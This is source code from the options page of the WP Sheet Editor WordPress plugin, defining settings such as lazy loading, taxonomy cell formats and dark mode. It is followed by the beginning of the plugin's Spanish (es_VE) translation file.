'id' => 'enable_simple_mode', 'type' => 'switch', 'title' => __( 'Enable simple mode?', 'vg_sheet_editor' ), 'desc' => __( 'If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'disable_automatic_formatting_detection', 'type' => 'switch', 'title' => __( 'Disable the automatic formatting detection?', 'vg_sheet_editor' ), 'desc' => __( 'If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_disable_cells_lazy_loading', 'type' => 'switch', 'title' => __( 'Disable cells lazy loading?', 'vg_sheet_editor' ), 'desc' => __( 'The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn\'t work by default because only the "visible rows" are actually created.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_disable_dashboard_widget', 'type' => 'switch', 'title' => __( 'Disable usage stats widget?', 'vg_sheet_editor' ), 'desc' => __( 'If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_disable_serialized_columns', 'type' => 'switch', 'title' => __( 'Disable serialized columns support?', 'vg_sheet_editor' ), 'desc' => __( 'The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_disable_heartbeat', 'type' => 'switch', 'title' => __( 'Disable the heartbeat api in the spreadsheet?', 'vg_sheet_editor' ), 'desc' => __( 'WordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_allowed_user_roles', 'title' => __( 'User roles that can use the spreadsheet editor', 'vg_sheet_editor' ), 'desc' => __( 'The plugin will not initialize for the user roles not selected here.', 'vg_sheet_editor' ), 'type' => 'new_select', 'multi' => true, 'options' => array_combine( array_keys( $roles->roles ), array_keys( $roles->roles ) ), ), array( 'id' => 'be_enable_fancy_taxonomy_cell', 'type' => 'switch', 'title' => __( 'Enable the fancy taxonomy terms selector', 'vg_sheet_editor' ), 'desc' => __( 'Backwards compatibility. This setting will be removed in future updates.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_taxonomy_cell_renderer', 'type' => 'new_select', 'title' => __( 'What cell format to use for the taxonomy columns?', 'vg_sheet_editor' ), 'options' => array( '' => __( 'New multi select dropdown (Default)', 'vg_sheet_editor' ), 'old' => __( 'Old single select autocomplete', 'vg_sheet_editor' ), ), ), array( 'id' => 'show_all_custom_statuses', 'type' => 'switch', 'title' => __( 'Show all the custom post statuses?', 'vg_sheet_editor' ), 'desc' => __( 'By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'hide_cell_comments', 'type' => 'switch', 'title' => __( 'Remove help messages from the cells?', 'vg_sheet_editor' ), 'desc' => __( 'By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'manage_taxonomy_columns_term_ids', 'type' => 'switch', 'title' => __( 'Manage taxonomy column values as term ids?', 'vg_sheet_editor' ), 'desc' => __( 'By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'manage_taxonomy_columns_term_slugs', 'type' => 'switch', 'title' => __( 'Manage taxonomy column values as term slugs?', 'vg_sheet_editor' ), 'desc' => __( 'By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'dont_auto_enable_new_fields', 'type' => 'switch', 'title' => __( 'Do you want to deactivate columns for new fields found?', 'vg_sheet_editor' ), 'desc' => __( 'By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'math_formula_roundup_decimals', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Math formula roundup decimals', 'vg_sheet_editor' ), 'desc' => __( 'We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimal, 0 to round to the nearest whole number (without decimals). Default: 2 decimals', 'vg_sheet_editor' ), 'default' => 2, ), array( 'id' => 'enable_plain_select_cells', 'type' => 'switch', 'title' => __( 'Display raw value on select cells?', 'vg_sheet_editor' ), 'desc' => __( 'By default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'dont_add_id_to_image_urls', 'type' => 'switch', 'title' => __( 'Disable the addition of file ID to the image URLs?', 'vg_sheet_editor' ), 'desc' => __( 'By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fast', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'dont_display_file_names_image_columns', 'type' => 'switch', 'title' => __( 'Disable the display of file names in the image columns?', 'vg_sheet_editor' ), 'desc' => __( 'By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons only', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'add_html_class_status_value', 'type' => 'switch', 'title' => __( 'Add html classes to the "post status" cells based on their values?', 'vg_sheet_editor' ), 'desc' => __( 'You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSS', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'tinymce_preview_characters_limit', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Maximum number of characters displayed in the preview of the values of tinymce columns?', 'vg_sheet_editor' ), 'desc' => __( 'By default, we only display 30 characters. You can increase the number here to view larger previews.', 'vg_sheet_editor' ), 'default' => 30, ), array( 'id' => 'manage_post_parents_with_id', 'type' => 'switch', 'title' => __( 'Manage the post parent column using IDs?', 'vg_sheet_editor' ), 'desc' => __( 'By default, the "parent" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID.', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'color_mode', 'title' => __( 'Enable the dark mode?', 'vg_sheet_editor' ), 'default' => '', 'type' => 'new_select', 'options' => array( '' => __( 'Auto (Default)', 'vg_sheet_editor' ), 'light' => __( 'Light mode', 'vg_sheet_editor' ), 'dark' => __( 'Dark mode', 'vg_sheet_editor' ), ), ), array( 'id' => 'disable_post_modified_date_auto_update', 'title' => __( 'Disable the automatic update of the "modified date" of the posts?', 'vg_sheet_editor' ), 'type' => 'switch', 'desc' => __( 'By default, the "modified date" of each post is updated every time you edit a post in our spreadsheet editor. WordPress automatically updates the "modified date" when you a edit a post in the regular editor, so we do this to keep a consistent experience in our sheet editor as the regular editor. You can enable this option to stop this behavior but this behavior will stop only when you edit taxonomies or meta fields, WordPress will still update the modified date when you post titles, content, excerpt, and other fields stored in the wp_posts table in the database.', 'vg_sheet_editor' ), 'default' => false, ), ), ); $this->sections['general'] = array( 'icon' => 'el-icon-cogs', 'title' => __( 'General settings', 'vg_sheet_editor' ), 'fields' => array( array( 'id' => 'info_normal_234343', 'type' => 'info', 'desc' => __( 'In this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.', 'vg_sheet_editor' ), ), ), ); $this->sections['misc'] = array( 'icon' => 'el-icon-plane', 'title' => __( 'Misc', 'vg_sheet_editor' ), 'fields' => array( array( 'id' => 'media_preview_width', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Image preview width inside the cell', 'vg_sheet_editor' ), 'default' => 25, ), array( 'id' => 'media_preview_height', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Image preview height inside the cell', 'vg_sheet_editor' ), 'default' => 22, ), array( 'id' => 'be_initial_rows_offset', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Initial rows offset', 'vg_sheet_editor' ), 'desc' => __( 'When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.', 'vg_sheet_editor' ), 'default' => 0, ), array( 'id' => 'delete_attached_images_when_post_delete', 'type' => 'switch', 'title' => __( 'Delete the attached images when deleting a post?', 'vg_sheet_editor' ), 'desc' => __( 'For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other posts', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'be_post_types', 'type' => 'new_select', 'multi' => true, 'options' => array( $helpers, 'get_allowed_post_types' ), 'title' => __( 'Spreadsheets enabled for these post types', 'vg_sheet_editor' ), ), array( 'id' => 'disable_help_toolbar', 'type' => 'switch', 'title' => __( 'Disable the help toolbar?', 'vg_sheet_editor' ), 'desc' => __( 'This will hide the "help" option in the top toolbar', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'max_value_length_locked_cells', 'type' => 'text', 'validate' => 'numeric', 'title' => __( 'Maximum visible characters in locked cells', 'vg_sheet_editor' ), 'desc' => sprintf( __( 'Locked cells only show a preview of the value. The default character length is %d', 'vg_sheet_editor' ), VGSE()->helpers->get_plugin_mode() === 'pro-plugin' ? 120 : 55 ), 'default' => VGSE()->helpers->get_plugin_mode() === 'pro-plugin' ? 120 : 55, ), array( 'id' => 'dont_show_readonly_columns_in_advanced_search', 'type' => 'switch', 'title' => __( 'Don\'t show read-only columns in the advanced search?', 'vg_sheet_editor' ), 'default' => false, ), array( 'id' => 'allow_formula_remove_duplicates_meta_keys', 'type' => 'text', 'title' => __( 'Allow to remove duplicate rows by these meta fields', 'vg_sheet_editor' ), 'desc' => __( 'By default, our bulk edit allows you to remove duplicate posts by title+content, or by product SKU. You can add multiple meta keys separated with a comma here to allow to remove duplicate posts by a meta field. We don\'t allow this for any column because this should be used on meta fields that are supposed to contain unique values', 'vg_sheet_editor' ), ), ), ); if ( VGSE()->helpers->get_plugin_mode() === 'pro-plugin' ) { $this->sections['misc']['fields'][] = array( 'id' => 'be_disable_extension_offerings', 'type' => 'switch', 'title' => __( 'Disable extension offerings?', 'vg_sheet_editor' ), 'default' => false, ); $this->sections['misc']['fields'][] = array( 'id' => 'exclude_non_visible_columns_from_tools', 'type' => 'switch', 'title' => __( 'Don\'t display the disabled columns in the modules?', 'vg_sheet_editor' ), 'desc' => __( 'By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they\'re disabled in the columns manager. Activate this option to only display enabled columns.', 'vg_sheet_editor' ), 'default' => false, ); $this->sections['solution_errors']['fields'][] = array( 'id' => 'be_allow_raw_content_unfiltered_html_capability', 'type' => 'switch', 'title' => __( 'Allow users with the capability unfiltered_html to save any html in the post content column?', 'vg_sheet_editor' ), 'desc' => __( 'By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk.', 'vg_sheet_editor' ), 'default' => false, ); $this->sections['solution_errors']['fields'][] = array( 'id' => 'serialized_field_post_templates', 'type' => 'text', 'title' => __( 'Generate serialized fields columns based on these posts', 'vg_sheet_editor' ), 'desc' => __( 'This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90', 'vg_sheet_editor' ), ); } $this->sections = apply_filters( 'vg_sheet_editor/options_page/options', $this->sections ); // Auto generate section keys to prevent duplicate settings tabs in case we add sections without keys $new_sections = array(); foreach ( $this->sections as $section_key => $section ) { if ( is_numeric( $section_key ) ) { $new_sections[ sanitize_html_class( $section['title'] ) ] = $section; } else { $new_sections[ $section_key ] = $section; } } $this->sections = $new_sections; // Redux filter is here for backwards compatibility $this->sections = apply_filters( 'redux/options/' . VGSE()->options_key . '/sections', $this->sections ); return $this->sections; } function init() { add_action( 'admin_menu', array( $this, 'register_menu_page' ), 99 ); } function register_menu_page() { $rest_api_only = apply_filters( 'vg_sheet_editor/use_rest_api_only', ! empty( VGSE()->options['be_rest_api_only'] ) ); $parent_slug = ( ! empty( $rest_api_only ) ) ? 'options-general.php' : 'vg_sheet_editor_setup'; if ( ! empty( $rest_api_only ) ) { add_submenu_page( $parent_slug, __( 'WP Sheet Editor' ), __( 'WP Sheet Editor' ), 'manage_options', VGSE()->options_key, array( $this, 'render_settings_page' ) ); } else { add_submenu_page( $parent_slug, __( 'Settings' ), __( 'Settings' ), 'manage_options', VGSE()->options_key, array( $this, 'render_settings_page' ) ); } // Add it to the frontend sheet menu too add_submenu_page( 'vgsefe_welcome_page', __( 'Settings' ), __( 'Settings' ), 'manage_options', VGSE()->options_key, array( $this, 'render_settings_page' ) ); } function render_settings_form( $provider = null ) { $supported_types = array( 'text', 'textarea', 'switch', 'new_select' ); $raw_sections = $this->getSections(); $sections = array(); $default_field_args = array( 'id' => '', 'type' => '', 'title' => '', 'desc' => '', 'default' => null, 'multi' => false, 'options' => array(), 'validate' => '', 'class_name' => '', ); foreach ( $raw_sections as $section_index => $section ) { foreach ( $section['fields'] as $field ) { if ( in_array( $field['type'], $supported_types, true ) ) { if ( ! isset( $sections[ $section_index ] ) ) { $section['fields'] = array(); $sections[ $section_index ] = $section; } $field = wp_parse_args( $field, $default_field_args ); $sections[ $section_index ]['fields'][ $field['id'] ] = $field; } } } require VGSE_DIR . '/views/settings-form.php'; } function render_settings_page() { $nonce = wp_create_nonce( 'bep-nonce' ); require VGSE_DIR . '/views/settings-page.php'; } /** * Creates or returns an instance of this class. */ static function get_instance() { if ( ! self::$instance ) { self::$instance = new WPSE_Options_Page(); self::$instance->init(); } return self::$instance; } function __set( $name, $value ) { $this->$name = $value; } function __get( $name ) { return $this->$name; } } } if ( ! function_exists( 'WPSE_Options_Page_Obj' ) ) { function WPSE_Options_Page_Obj() { return WPSE_Options_Page::get_instance(); } } WPSE_Options_Page_Obj(); modules/wp-sheet-editor/lang/vg_sheet_editor-es_VE.po000064400001165603147600365160016712 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-07-12T19:16:48+00:00\n" "PO-Revision-Date: 2023-07-19 13:16-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_VE\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.3.1\n" #: acf/acf.php:84 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" "ACF: ¿Mostrar las casillas de verificación como desplegados de selección " "múltiple?" #: acf/acf.php:85 msgid "" "By default, we show every checkbox as a separate column, but if you have " "checkboxes with many options you might want to use one column with a " "dropdown instead." msgstr "" "Por defecto, mostramos cada casilla de verificación como una columna " "separada, pero si tienes casillas de verificación con muchas opciones es " "posible que desees utilizar una columna con un desplegable en su lugar." #: acf/acf.php:377 msgid "" "You need to configure your Google Maps API key to save the Google Maps " "columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" "Tienes que configurar la API key de Google Maps para poder guardar valores " "en las columnas de mapas de Advanced Custom Fields. Esto es requerido por " "Advanced Custom Fields, puedes seguir este tutorial" #: acf/acf.php:915 msgid "Enter a title" msgstr "Ingresa un título" #: acf/acf.php:1144 msgid "Row" msgstr "Fila" #: advanced-filters/advanced-filters.php:48 #: advanced-filters/advanced-filters.php:70 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 formulas/formulas.php:590 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 woocommerce/inc/variations.php:1618 #: woocommerce/inc/variations.php:1637 #: wp-sheet-editor/dev/inc/api/editor.php:161 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1187 msgid "You dont have enough permissions to view this page." msgstr "No tienes suficientes permisos para ver esta página." #: advanced-filters/advanced-filters.php:132 msgid "Save this search" msgstr "Guardar esta búsqueda" #: advanced-filters/advanced-filters.php:133 msgid "Enter a name..." msgstr "Ingresa un nombre..." #: advanced-filters/advanced-filters.php:441 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "Padre" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "Ingresa %s" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Ingresa los nombres de " #: advanced-filters/advanced-filters.php:638 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Nombre de la categoría..." #: advanced-filters/advanced-filters.php:650 #: advanced-filters/advanced-filters.php:707 #: advanced-filters/advanced-filters.php:762 filters/filters.php:540 msgid "Select..." msgstr "Seleccionar..." #: advanced-filters/advanced-filters.php:705 msgid "Field" msgstr "Campo" #: advanced-filters/advanced-filters.php:714 msgid "Last edit" msgstr "Última modificación" #: advanced-filters/advanced-filters.php:715 msgid "Old slug" msgstr "Slug antiguo" #: advanced-filters/advanced-filters.php:716 filters/filters.php:508 #: wp-sheet-editor/dev/inc/api/bootstrap.php:662 msgid "Author" msgstr "Autor" #: advanced-filters/advanced-filters.php:717 msgid "Date (GMT)" msgstr "Fecha (GMT)" #: advanced-filters/advanced-filters.php:718 msgid "Modified Date (GMT)" msgstr "Fecha de Modificación (GMT)" #: advanced-filters/advanced-filters.php:719 #: wp-sheet-editor/dev/inc/api/bootstrap.php:725 msgid "Comments" msgstr "Comentarios" #: advanced-filters/advanced-filters.php:720 msgid "Ping status" msgstr "Estado del ping" #: advanced-filters/advanced-filters.php:721 #: wp-sheet-editor/dev/inc/api/bootstrap.php:501 msgid "URL Slug" msgstr "URL Slug" #: advanced-filters/advanced-filters.php:722 #: wp-sheet-editor/dev/inc/api/bootstrap.php:759 msgid "Page Parent" msgstr "Página Padre" #: advanced-filters/advanced-filters.php:723 msgid "Mime type" msgstr "Tipo de MIME" #: advanced-filters/advanced-filters.php:724 msgid "Comment count" msgstr "Recuento de comentarios" #: advanced-filters/advanced-filters.php:725 msgid "EDD Variable Prices" msgstr "Precio variable EDD" #: advanced-filters/advanced-filters.php:726 msgid "EDD Download Files" msgstr "Archivos de descarga EDD" #: advanced-filters/advanced-filters.php:757 msgid "A field is missing? Click here" msgstr "¿Faltan campos? Haz clic aquí" #: advanced-filters/advanced-filters.php:761 msgid "Operator" msgstr "Operador" #: advanced-filters/advanced-filters.php:767 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/variations.php:507 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:947 msgid "Value" msgstr "Valor" #: advanced-filters/advanced-filters.php:772 #: advanced-filters/advanced-filters.php:798 #: wp-sheet-editor/dev/inc/api/bootstrap.php:276 msgid "Add new" msgstr "Añadir nuevo" #: advanced-filters/advanced-filters.php:775 msgid "X" msgstr "X" #: advanced-filters/advanced-filters.php:785 msgid "Enable advanced filters" msgstr "Habilitar filtros avanzados" #: advanced-filters/advanced-filters.php:788 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Búsqueda avanzada" #: advanced-filters/advanced-filters.php:790 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Puedes buscar por cualquier campo usando operadores. Por ejemplo: precio > " "100, imagen != (vacío)" #: advanced-filters/advanced-filters.php:807 msgid "NOT Contains this keyword" msgstr "No Contiene esta palabra clave" #: advanced-filters/advanced-filters.php:807 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Ingresa una palabra clave para excluir filas. Separa múltiples palabras " "claves con un punto y coma (;)" #: advanced-filters/advanced-filters.php:811 msgid "Find these IDs:" msgstr "Encontrar estos IDs:" #: advanced-filters/advanced-filters.php:811 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Ingresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. " "Puedes agregar rangos como 20-50 como un acceso directo." #: advanced-filters/advanced-filters.php:816 msgid "Find these URLs:" msgstr "Encontrar estas URLs:" #: advanced-filters/advanced-filters.php:816 msgid "Enter one URL per line" msgstr "Ingresa una URL por línea" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Fecha Inicial" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Mostrar elementos publicados entre estas fechas" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "Fecha final" #: advanced-filters/advanced-filters.php:839 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" "Cualquiera de estos valores (Ingresa múltiples valores separados por ;)" #: advanced-filters/advanced-filters.php:840 msgid "CONTAINS" msgstr "CONTIENE" #: advanced-filters/advanced-filters.php:841 msgid "NOT CONTAINS" msgstr "NO CONTIENE" #: advanced-filters/advanced-filters.php:842 msgid "STARTS WITH" msgstr "INICIA CON" #: advanced-filters/advanced-filters.php:843 msgid "ENDS WITH" msgstr "TERMINA CON" #: advanced-filters/advanced-filters.php:844 msgid "CHARACTER LENGTH <" msgstr "CANTIDAD DE CARACTERES <" #: advanced-filters/advanced-filters.php:845 msgid "CHARACTER LENGTH >" msgstr "CANTIDAD DE CARACTERES >" #: advanced-filters/advanced-filters.php:846 msgid "REGEXP" msgstr "REGEXP" #: advanced-filters/advanced-filters.php:847 msgid "In the last x hours" msgstr "En las últimas X horas" #: advanced-filters/advanced-filters.php:848 msgid "In the last x days" msgstr "En los últimos X días" #: advanced-filters/advanced-filters.php:849 msgid "In the last x weeks" msgstr "En las últimas X semanas" #: advanced-filters/advanced-filters.php:850 msgid "In the last x years" msgstr "En los últimos X años" #: columns-manager/columns-manager.php:70 wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "No tienes suficientes permisos para realizar esta acción." #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "Por favor, selecciona un color de fondo" #: columns-manager/columns-manager.php:105 formulas/inc/ui.php:622 msgid "Clear value" msgstr "Borrar valor" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:265 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "Guardar" #: columns-manager/columns-manager.php:108 formulas/inc/ui.php:132 #: posts-templates/posts-templates.php:106 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "Cancel" msgstr "Cancelar" #: columns-manager/columns-manager.php:259 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Algunas columnas tienen el botón para cambiar " "el formato" #: columns-manager/columns-manager.php:273 columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "Gestor de columnas" #: columns-manager/columns-manager.php:554 #: wp-sheet-editor/dev/inc/api/bootstrap.php:830 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr ". Agrega categorías hijas usando este formato: Padre > hija1 > hija2" #: columns-manager/columns-manager.php:563 msgid "Enter multiple terms separated by commas" msgstr "Ingresa varios términos separados por comas" #: columns-manager/columns-manager.php:581 msgid "Enter multiple post titles separated by commas" msgstr "Ingresa varios títulos separados por comas" #: columns-manager/columns-manager.php:1111 #: wp-sheet-editor/dev/inc/api/bootstrap.php:182 #: wp-sheet-editor/dev/inc/options-init.php:564 #: wp-sheet-editor/dev/inc/options-init.php:567 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "Ajustes" #: columns-manager/columns-manager.php:1127 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "¿Es de sólo lectura?" #: columns-manager/columns-manager.php:1131 msgid "" "Read-only columns will display a lock and it won't be possible to edit them " "anywhere in the spreadsheet. This is not a security feature because people " "still can edit in the regular WP screens." msgstr "" "Las columnas de sólo lectura mostrarán un candado y no será posible " "editarlas en ninguna parte de la hoja de cálculo. Esto no es una " "característica de seguridad porque la gente todavía puede editar en las " "pantallas normales de WP." #: columns-manager/columns-manager.php:1140 msgid "User capabilities that can read this column" msgstr "Capacidades del usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1140 msgid "" "The column will appear in the spreadsheet and exports if the user has a role " "with the required capability." msgstr "" "La columna aparecerá en la hoja de cálculo y en las exportaciones si el " "usuario tiene un rol con la capacidad requerida." #: columns-manager/columns-manager.php:1143 msgid "User capabilities that can edit this column" msgstr "Capacidades de usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1143 msgid "" "The column will be read only if the user doesn't have a role with the " "required capability." msgstr "" "La columna puede ser leía solo si el usuario no tiene un rol con la " "capacidad requerida." #: columns-manager/columns-manager.php:1154 msgid "Separated with commas" msgstr "Separados por comas" #: columns-manager/columns-manager.php:1155 msgid "Serialized array" msgstr "Array serializado" #: columns-manager/columns-manager.php:1158 msgid "File ID" msgstr "ID del archivo" #: columns-manager/columns-manager.php:1159 formulas/inc/ui.php:998 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "URL del archivo" #: columns-manager/columns-manager.php:1162 msgid "Use default" msgstr "Usar por defecto" #: columns-manager/columns-manager.php:1163 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "Sí" #: columns-manager/columns-manager.php:1164 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "No" #: columns-manager/columns-manager.php:1167 #: columns-manager/columns-manager.php:1172 #: wp-sheet-editor/dev/inc/api/bootstrap.php:463 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:1168 msgid "Username" msgstr "Nombre de usuario" #: columns-manager/columns-manager.php:1169 #: columns-manager/columns-manager.php:1212 msgid "Email" msgstr "Correo electrónico" #: columns-manager/columns-manager.php:1173 #: wp-sheet-editor/dev/inc/api/bootstrap.php:484 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Título" #: columns-manager/columns-manager.php:1174 #: columns-manager/columns-manager.php:1183 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:1177 msgid "Saved them separated by comma" msgstr "Guárdalos separados por comas" #: columns-manager/columns-manager.php:1178 msgid "Save them as serialized array" msgstr "Guárdalos como un array serializado" #: columns-manager/columns-manager.php:1181 msgid "Term ID" msgstr "ID del término" #: columns-manager/columns-manager.php:1182 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 woocommerce/inc/variations.php:506 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:946 msgid "Name" msgstr "Nombre" #: columns-manager/columns-manager.php:1187 msgid "Same as the spreadsheet taxonomy" msgstr "Igual que la taxonomía de la hoja de cálculo" #: columns-manager/columns-manager.php:1193 msgid "Same as the spreadsheet post type" msgstr "Igual que el post type de la hoja de cálculo" #: columns-manager/columns-manager.php:1198 msgid "Automatic" msgstr "Automático" #: columns-manager/columns-manager.php:1199 msgid "Text" msgstr "Texto" #: columns-manager/columns-manager.php:1200 msgid "Text editor (tinymce)" msgstr "Editor de texto (tinymce)" #: columns-manager/columns-manager.php:1201 msgid "Single selection dropdown" msgstr "Desplegable de selección simple" #: columns-manager/columns-manager.php:1202 msgid "Multi select dropdown" msgstr "Desplegable de selección múltiple" #: columns-manager/columns-manager.php:1203 msgid "Checkbox" msgstr "Casilla de verificación" #: columns-manager/columns-manager.php:1204 msgid "File upload" msgstr "Cargar archivo" #: columns-manager/columns-manager.php:1205 #: wp-sheet-editor/dev/inc/api/bootstrap.php:614 #: 